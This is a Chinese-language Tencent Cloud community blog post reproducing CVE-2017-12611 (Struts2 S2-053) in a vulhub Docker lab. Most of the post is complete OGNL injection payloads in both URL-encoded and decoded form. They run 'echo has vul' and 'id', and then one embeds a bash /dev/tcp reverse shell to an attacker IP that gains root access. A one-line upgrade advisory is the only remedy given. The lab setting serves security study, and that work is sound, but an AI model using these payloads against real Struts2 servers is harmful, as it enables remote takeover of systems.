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社区首页 >专栏 >CVE-2017-12611 S2-053 远程代码执行漏洞

CVE-2017-12611 S2-053 远程代码执行漏洞

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发布2022-12-22 16:41:21
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发布2022-12-22 16:41:21
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文章被收录于专栏:安全学习安全学习

1 漏洞信息

漏洞名称

远程代码执行漏洞

漏洞编号

CVE-2017-12611

危害等级

高危

漏洞类型

中间件漏洞

漏洞厂商

Apache

漏洞组件

Struts2

受影响版本

2.0.1 <= Struts2 <= 2.3.33,2.5 <= Struts2 = 2.5.10

漏洞概述

Struts2在使用Freemarker模块引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但是由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

2 环境搭建

2.1 环境概述

  • Linux操作系统

2.2 搭建过程

拉取镜像

代码语言:javascript
复制
 cd vulhub/struts2/s2-053
 docker-compose up -d
image-20221207154139972
image-20221207154139972

访问http://192.168.146.158:8053/hello.action

image-20221207154652761
image-20221207154652761

3 漏洞复现

根据vulhub官网的poc,查看是否存在该漏洞。发现成功执行了删除has vul的语句,说明存在该漏洞。

代码语言:javascript
复制
 redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27echo%20has%20vul%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
 ​
 payload原型:
 redirectUri=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo has vul').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
image-20221207154821101
image-20221207154821101

访问漏洞url并且添加恶意payload进行抓包。

代码语言:javascript
复制
 redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
 ​
 payload原型:
 redirectUri=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

发现成功执行了id命令,发现是root权限。

image-20221207154929413
image-20221207154929413

修改payload,执行反弹shell命令。

首先要监听端口,ip是攻击ip,不是漏洞靶机ip。这里没有再开另外一台机器,因此用和靶机同一台的ip进行接收所反弹的shell。

对要生成的反弹shell命令进行url编码

代码语言:javascript
复制
 这里的ip地址也是攻击机的ip地址
 bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
 ​
 bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.146.158%2F9999%200%3E%261

最终的反弹shell payload如下

代码语言:javascript
复制
 redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.146.158%2F9999%200%3E%261%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
 ​
 payload原型:
 redirectUri=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.146.158/9999 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

反弹成功

image-20221207155226506
image-20221207155226506
image-20221207155250437
image-20221207155250437

4 修复建议

1、推荐的解决方案:升级至比受漏洞影响的更高版本。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

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目录
  • 1 漏洞信息
  • 2 环境搭建
    • 2.1 环境概述
      • 2.2 搭建过程
      • 3 漏洞复现
      • 4 修复建议
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